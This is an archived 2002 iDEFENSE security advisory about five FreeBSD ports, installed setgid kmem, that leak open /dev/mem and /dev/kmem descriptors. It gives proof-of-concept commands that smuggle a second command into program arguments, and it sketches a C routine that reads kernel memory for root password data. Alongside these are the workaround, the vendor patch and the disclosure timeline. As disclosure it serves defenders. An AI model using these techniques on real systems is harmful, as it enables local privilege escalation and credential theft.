[VulnWatch] iDEFENSE Security Advisory 09.16.2002: FreeBSD Ports libkvm Security Vulnerabilities

From: David Endler (dendler@idefense.com)
Date: 09/16/02


From: "David Endler" <dendler@idefense.com>
To: vulnwatch@vulnwatch.org, submissions@packetstormsecurity.org, news@securiteam.com
Date: Mon, 16 Sep 2002 12:10:39 -0700

iDEFENSE Security Advisory 09.16.2002
FreeBSD Ports libkvm Security Vulnerabilities

DESCRIPTION

The FreeBSD ports asmon, ascpu, bubblemon, wmmon, and wmnet2
can be locally manipulated to take advantage of open file
descriptors /dev/mem and /dev/kmem to gain root privileges on
a target host. These five programs are installed setgid kmem
by default. They will drop kmem privileges before executing
user specified commands but file descriptors to /dev/mem and
/dev/kmem will remain open. This can lead to a local root
compromise in various ways (e.g. if an attacker chooses to
scan for the master password file in the Linux kernel memory).

ANALYSIS

The latest versions of all five above mentioned FreeBSD ports
are vulnerable, the following examples illustrate the
problems:

bash-2.05a$ bubblemon "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"

dummy 688 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 688 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem

bash-2.05a$ ascpu -exe "dummy&/usr/local/sbin/lsof|grep dummy|grep
mem"

dummy 650 dim 4r VCHR 2,0 0t0 21146 /dev/mem
dummy 650 dim 5r VCHR 2,1 0xc040f54c 21145 /dev/kmem

bash-2.05a$ cat .wmmonrc
left "/home/dim/dummy"
bash-2.05a$ wmmon &
[1] 793
bash-2.05a$ Monitoring 5 devices for activity.
current stat is :1

bash-2.05a$ /usr/local/sbin/lsof |grep dummy|grep mem
dummy 797 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 797 dim 4r VCHR 2,1 0xc040f54c 21145 /dev/kmem

bash-2.05a$ wmnet2 -e "dummy&/usr/local/sbin/lsof|grep
dummy|grep mem"
wmnet: using kmem driver to monitor ec0
dummy 584 dim 3r VCHR 2,0 0t0 21146 /dev/mem
dummy 584 dim 4r VCHR 2,1 0xc037cb8f 21145 /dev/kmem

One possible exploit for these vulnerabilities is to replace
getch() in strings(1) with:

int getch()
{
char buf[4];
read(4,buf,1);
return buf[0];
}

or a similar less CPU expensive function that reads a
character from the /dev/mem file descriptor and execute the
following:

wmnet2 -e exploit|grep root|grep Charlie

DETECTION

The latest copies of asmon, ascpu, bubblemon, wmmon, and
wmnet2 from the FreeBSD ports collection are vulnerable and
were tested on 4.6-RELEASE of FreeBSD. According to FreeBSD,
all FreeBSD ports that use libkvm prior to and including
4.6.2-RELEASE may also be vulnerable.

WORKAROUND

Remove the setgid bit on the affected applications,
however reducing the functionality:

chmod g-s /path.to/wmnet2

VENDOR RESPONSE

The FreeBSD advisory to be released in coordination with this
advisory is FreeBSD-SA-02:39.libkvm. FreeBSD has provided
the following patch details:

"Upgrade your vulnerable system to 4.6-STABLE; or to the
RELENG_4_6, RELENG_4_5, or RELENG_4_4 security branch dated
after the correction date (4.6.2-RELEASE-p2, 4.5-RELEASE-p20,
or 4.4-RELEASE-p27)."

DISCLOSURE TIMELINE

August 12, 2002 - Disclosed to iDEFENSE
September 6, 2002 - Disclosed to FreeBSD Security
September 6, 2002 - Disclosed to iDEFENSE clients
September 16, 2002 - Coordinated public disclosure by FreeBSD
                      and iDEFENSE

CREDIT

This issue was exclusively disclosed to iDEFENSE by
badc0ded@badc0ded.com

http://www.idefense.com/contributor.html

David Endler, CISSP
Director, Technical Intelligence
iDEFENSE, Inc.
14151 Newbrook Drive
Suite 100
Chantilly, VA 20151
voice: 703-344-2632
fax: 703-961-1071

dendler@idefense.com
www.idefense.com



Relevant Pages

  • [Full-Disclosure] iDEFENSE Security Advisory 09.16.2002: FreeBSD Ports libkvm Security Vulnerabiliti
    ... FreeBSD Ports libkvm Security Vulnerabilities ... 2002 - Disclosed to iDEFENSE clients ...
    (Full-Disclosure)
  • Re: 4.11 p19 on a hosted web site
    ... FreeBSD 4.11 was a wonderfully stable and robust system. ... vulnerabilities in this software will not be fixed anymore. ... Running 6.2 would be running maintained software with as of yet unknown and unpublished bugs and vulnerabilities, of unknown severity. ... logo change for Memorial Day. ...
    (freebsd-questions)
  • Bind: FreeBSD-SA-01:10 and CERT Advisory CA-2001-02
    ... All versions of FreeBSD 3.x prior to the correction date including ... affected since it contains versions of BIND 8.2.3. ... CERT Advisory CA-2001-02 Multiple Vulnerabilities in BIND ... Domain Name System Servers running various versions of ISC BIND ...
    (FreeBSD-Security)
  • Determining vulnerability to issues described by SAs
    ... described by a FreeBSD security advisory in some automated way, ... to the way portaudit can use VuXML to check for vulnerabilities in ... Checking the RCS version tags in the source files listed as ... on the list of source files given in a security advisory. ...
    (FreeBSD-Security)
  • Re: What about BIND 9.3.4 in FreeBSD in base system ?
    ... Given that FreeBSD is not vulnerable to these issues in its default configuration, one could easily argue that an upgrade for RELENG_5 isn't necessary. ... The ports exist in part to facilitate using the latest BIND on older versions of FreeBSD that will not be updated. ... the above DoS vulnerabilities ought to be fixed in the 5-STABLE branch? ...
    (FreeBSD-Security)